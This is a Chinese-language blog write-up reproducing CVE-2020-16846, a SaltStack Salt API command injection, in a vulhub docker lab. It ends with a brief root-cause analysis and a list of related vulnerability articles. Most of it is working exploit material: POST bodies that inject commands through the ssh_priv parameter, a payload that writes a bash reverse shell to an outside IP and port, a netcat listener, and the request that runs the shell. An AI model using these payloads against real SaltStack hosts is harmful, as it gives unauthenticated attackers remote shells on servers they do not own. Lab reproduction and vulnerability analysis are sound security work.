CVE漏洞复现-CVE-2020-16846SaltStack命令注入
2023-09-14 09:16:26 时间
CVE-2020-16846SaltStack命令注入
CVE-2020-16846
漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通
过Salt API执行任意命令
影响范围:
SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7
漏洞复现
docker和漏洞环境的安装教程vulhub都有提供,我这里便不复述了
1、进入CVE-2020-16846,在vulhub上启动docker
docker-compose up -d
查看docker漏洞环境是否搭建好了
docker ps
2、访问docker靶机 https://ip:8000
3、使用BP抓包访问地址 https://ip:8000/run,右键发送给重发器
4、更改请求为POST并且插入请求体,修改如下
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/suc cess%3b
5、写一个sh文件里面是反弹shell的命令
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 'bash -i >%26 /dev/tcp/192.168.0.105/4567 0>%261' >/tmp/qianfu.sh%3b
7、使用NC接收反弹shell的命令
nc -lvvp 4567
8、执行sh文件,即可得到反弹shell
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa| bash%20/tmp/qianfu.sh%3b
9、NC接收的反弹shell
漏洞分析
该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令
cmd中的内容是由一段固定值+format中的path拼接而成,没有任何的过滤 subprocess.call(cmd,shell=True) 是下执行系统命令的函数 如果path的内容可以控制就可以造成命令执行
相关文章
- 代码审计-MetInfo 6.0.0 sql注入漏洞
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
- 漏洞组合拿shell
- Weblogic CVE-2018-3191远程代码命令执行漏洞复现
- 服务器版“永恒之蓝”高危预警 (Samba远程命令执行漏洞CVE-2017-7494) 攻击演示
- 安全测试全面总结-6-SQL注入漏洞
- CVE-2018-1273漏洞复现
- Vulhub漏洞靶场搭建和使用
- 16 - vulhub - Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
- WEB漏洞攻防 - SQL注入 - 高权限注入
- WEB漏洞攻防 - SQL注入 - 二次注入
- WEB漏洞攻防 - SQL注入 - 堆叠注入
- WEB漏洞攻防 -根据不同数据库类型之间的差异性进行注入
- 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞
- Oracle数据库XXE注入漏洞(CVE-2014-6577)分析
- 无线路由器的web漏洞
- 逻辑漏洞(二)
- 3. XML实体注入漏洞的利用与学习
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
- PHPCMS phpcmsmodulesmemberindex.php 用户登陆SQL注入漏洞分析
- WEB漏洞攻防 - SQL注入 - 盲注
- WEB漏洞攻防 - SQL注入 - 二次注入
- WEB漏洞攻防 - SQL注入 - Dnslog注入
- WEB漏洞攻防 - 文件上传漏洞 - 文件上传漏洞必知必会
- Web应用程序漏洞-POST任意文件下载
- 操作系统权限提升(三)之Windows系统内核溢出漏洞提权